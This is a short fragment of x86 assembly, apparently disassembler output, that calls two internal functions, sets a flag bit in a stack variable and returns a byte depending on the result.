call fcn.0081d67c
add esp, 8
sub esp, 0xc
lea ecx, [esp + 0x18]
push 0
push ecx
push edi
push eax
push esi
call fcn.0081d80e
add esp, 0xc
or byte [esp + 0x25], 0x80
cmp eax, 1
jne 0x439b45
mov al, byte [esp + 0xc]
add esp, 0x114
pop esi
pop edi
ret